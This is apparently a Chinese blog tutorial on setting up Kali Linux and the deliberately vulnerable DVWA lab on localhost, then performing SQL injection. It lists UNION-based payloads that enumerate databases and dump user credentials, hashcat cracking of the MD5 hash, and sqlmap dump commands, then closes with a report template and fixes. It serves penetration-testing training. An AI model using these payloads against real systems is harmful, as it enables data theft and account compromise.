如何成为黑客:(Kali配置与DVWA渗透实战全攻略)
📅 2026/7/24 18:44:03
👁️ 阅读次数
📝 编程学习
第一部分:环境搭建(步步截图级详细)
步骤1:准备虚拟机与Kali Linux
- 下载并安装虚拟机软件:
<ul> - 前往VirtualBox(https://www.virtualbox.org/) 或VMware Workstation Player(Fusion and Workstation | VMware) 官网,下载并安装对应您主机系统(Windows/macOS/Linux)的版本。
- 下载Kali Linux镜像:
- 访问Kali Linux 官方下载页(Get Kali | Kali Linux),选择 “Kali Linux Virtual Machines”,下载适用于您虚拟机软件的版本(如
.ova用于 VirtualBox,.vmx用于 VMware)。
- 访问Kali Linux 官方下载页(Get Kali | Kali Linux),选择 “Kali Linux Virtual Machines”,下载适用于您虚拟机软件的版本(如
- 导入并启动Kali:
- VirtualBox:打开软件 -> 管理 -> 导入虚拟电脑 -> 选择下载的
.ova文件 -> 点击“导入”。导入后,在列表中选择它,点击“启动”。 - VMware:打开软件 -> 文件 -> 打开 -> 选择下载的
.vmx文件。打开后,点击“播放虚拟机”。 - 默认登录凭证:用户名
kali,密码kali。
- VirtualBox:打开软件 -> 管理 -> 导入虚拟电脑 -> 选择下载的
- 更新系统(在Kali终端中执行):
sudo apt update && sudo apt full-upgrade -y ```
步骤2:配置攻击机(Kali)网络与工具
- 设置网络为"桥接模式"(确保攻击机和靶机在同一局域网):
- 在虚拟机软件中,找到 Kali 虚拟机的"设置" → "网络" → "连接方式" → 选择"桥接网卡"。这样 Kali 会从您的家庭路由器获取一个独立IP,如同另一台真实电脑。
- 获取Kali的IP地址:
ip addr show找到
inet后面的地址(如192.168.1.105),记下它。 - 安装并启动必要服务:
# 启动Apache和MySQL服务(部分工具依赖) sudo systemctl start apache2 sudo systemctl start mysql 设置MySQL root密码(按提示操作) sudo mysql_secure_installation
步骤3:部署靶机(DVWA)
- 下载并解压DVWA:
<pre>sudo wget https://github.com/digininja/DVWA/archive/master.zip sudo unzip master.zip sudo mv DVWA-master dvwa - 配置数据库:
在 MySQL 提示符下,依次执行:# 登录MySQL,密码是上一步设置的 sudo mysql -u root -p<pre>CREATE USER 'dvwa'@'localhost' IDENTIFIED BY 'p@ssw0rd'; GRANT ALL PRIVILEGES ON dvwa.* TO 'dvwa'@'localhost'; FLUSH PRIVILEGES; exit; - 配置DVWA:
cd /var/www/html/dvwa/config sudo cp config.inc.php.dist config.inc.php sudo nano config.inc.php ``` 找到以下行,确保它们与下面一致(`$_DVWA[ 'db_password' ]` 必须与上面创建的密码匹配): ```php $_DVWA[ 'db_server' ] = '127.0.0.1'; $_DVWA[ 'db_database' ] = 'dvwa'; $_DVWA[ 'db_user' ] = 'dvwa'; $_DVWA[ 'db_password' ] = 'p@ssw0rd'; $_DVWA[ 'default_security_level' ] = 'low'; // 将安全级别设为“低”,便于练习 ``` 按 `Ctrl+X`,然后按 `Y`,再按 `Enter` 保存退出。 - 修改文件权限并重启服务:
sudo chown -R www-data:www-data /var/www/html/dvwa sudo chmod -R 755 /var/www/html/dvwa sudo systemctl restart apache2 ``` - 访问DVWA:
- 在Kali的浏览器中,打开
http://127.0.0.1/dvwa/setup.php。 - 点击页面底部的“Create / Reset Database”按钮。
- 成功后,使用默认凭证登录:用户名
admin,密码password。
- 在Kali的浏览器中,打开
第二部分:实战操作(以SQL注入为例)
步骤1:侦察与目标确认
- 在Kali中打开终端,确认靶机(DVWA)的IP。由于靶机就是Kali本机,所以IP是
127.0.0.1。 - 使用
nmap快速扫描确认服务: 应能看到80/tcp open http Apache httpd。
步骤2:手动SQL注入漏洞利用(极度详细)
- 访问漏洞页面:
- 在浏览器中登录DVWA (
http://127.0.0.1/dvwa)。 - 左侧菜单栏,点击"DVWA Security",将安全级别设为"Low",点击"Submit"。
- 点击"SQL Injection"。
- 在浏览器中登录DVWA (
- 探测注入点:
- 在输入框
User ID中,输入1,点击"Submit"。页面显示用户ID为1的用户信息(admin)。 - 关键测试1(错误探测):输入
1'(数字1加一个单引号),点击提交。观察:页面返回SQL语法错误信息(如You have an error in your SQL syntax...)。这强烈暗示存在SQL注入漏洞,因为单引号破坏了原SQL语句结构。 - 关键测试2(逻辑验证):输入
1' AND '1'='1,点击提交。页面应正常返回ID为1的用户信息。再输入1' AND '1'='2,点击提交。页面应返回空(因为'1'='2'为假)。这确认我们可以通过注入逻辑控制SQL查询条件。
- 在输入框
- 确定字段数(为UNION查询做准备):
- 输入
1' ORDER BY 1 #,提交。页面正常。 - 输入
1' ORDER BY 2 #,提交。页面正常。 - 输入
1' ORDER BY 3 #,提交。观察:页面可能报错或返回空。这说明原始查询结果有2列。#是MySQL的注释符,用于注释掉后面的SQL代码。
- 输入
- 使用UNION查询获取数据库信息:
- 输入
1' UNION SELECT 1,2 #,提交。观察:页面某处(通常在"ID"和"First name"位置)会显示数字1和2。这表示这两个位置可以回显我们UNION查询的结果。 - 获取当前数据库名:输入
1' UNION SELECT database(), version() #,提交。页面会在对应位置显示当前数据库名(应为dvwa)和MySQL版本号。 - 获取所有数据库名:输入
1' UNION SELECT schema_name, NULL FROM information_schema.schemata #,提交。页面会列出MySQL中所有数据库的名称。
- 输入
- 获取当前数据库的所有表名:
- 输入:
1' UNION SELECT table_name, NULL FROM information_schema.tables WHERE table_schema = database() #,提交。 - 页面会显示
dvwa数据库中的所有表,如guestbook、users等。
- 输入:
- 获取关键表(如
users)的列名:- 输入:
1' UNION SELECT column_name, NULL FROM information_schema.columns WHERE table_schema = database() AND table_name = 'users' #,提交。 - 页面会显示
users表的所有列名,如user_id、first_name、last_name、user、password、avatar等。
- 输入:
- 最终攻击:拖取用户凭证:
- 输入:
1' UNION SELECT user, password FROM users #,提交。 - 页面将直接显示所有用户名和经过MD5哈希的密码。例如
admin的密码哈希是5f4dcc3b5aa765d61d8327deb882cf99。
- 输入:
- 密码破解(离线):
- 复制
5f4dcc3b5aa765d61d8327deb882cf99。 - 在Kali终端中,使用
hashcat或在线MD5解密网站(仅用于练习)进行破解。这是一个非常简单的MD5哈希,对应明文是password。 - 使用
hashcat的命令示例:echo "5f4dcc3b5aa765d61d8327deb882cf99" > hash.txt hashcat -m 0 -a 0 hash.txt /usr/share/wordlists/rockyou.txt --force rockyou.txt是Kali自带的常用密码字典。
- 复制
步骤3:使用自动化工具(sqlmap)进行验证
- 启动Burp Suite并设置代理(可选,用于拦截请求):
<ul> - 在Kali中打开Burp Suite (Community Edition)。
- 打开浏览器,设置代理为
127.0.0.1:8080。 - 访问DVWA的SQL注入页面,提交一个正常请求(如
id=1),在Burp中拦截该请求,将其右键 -> Copy to file保存为request.txt。 - 使用sqlmap:
- 在终端中,进入保存
request.txt的目录,执行:sqlmap -r request.txt --batch --dbs ``` * `-r request.txt`:从文件中读取HTTP请求。 * `--batch`:以非交互模式运行,自动选择默认选项。 * `--dbs`:枚举数据库。 - sqlmap会自动检测注入点、类型,并列出所有数据库。后续可以使用
-D dvwa --tables枚举表,-D dvwa -T users --dump导出表数据。
- 在终端中,进入保存
第三部分:环境清理与报告模板
清理
# 在Kali中删除DVWA sudo rm -rf /var/www/html/dvwa # 在MySQL中删除数据库和用户 sudo mysql -u root -pDROP DATABASE dvwa; DROP USER 'dvwa'@'localhost'; exit;渗透测试报告(简化模板)
# 渗透测试报告 - DVWA靶场 目标: http://127.0.0.1/dvwa 测试类型: 授权白盒测试 发现日期: [日期] 1. 高危漏洞 - SQL注入 (CWE-89) 位置: /dvwa/vulnerabilities/sqli/ 参数: id (GET) 安全级别: Low 漏洞描述: 应用程序未对用户输入的id参数进行过滤,直接拼接至SQL查询语句中,导致攻击者可执行任意SQL命令。 复现步骤: 访问 http://127.0.0.1/dvwa/vulnerabilities/sqli/。 在输入框输入: 1' UNION SELECT user, password FROM users # 点击提交。 影响: 成功获取users表中所有用户的登录名及MD5哈希密码,导致凭证泄露,可进一步破解并获取系统权限。 修复建议: 使用参数化查询(预编译语句)。 PHP示例(使用PDO): $stmt->execute(['id' =>$id]); $results =$stmt->fetchAll();- 对输入进行严格的类型转换(如
intval($id))。 - 遵循最小权限原则,数据库用户不应拥有
information_schema的访问权限。
编程学习
技术分享
实战经验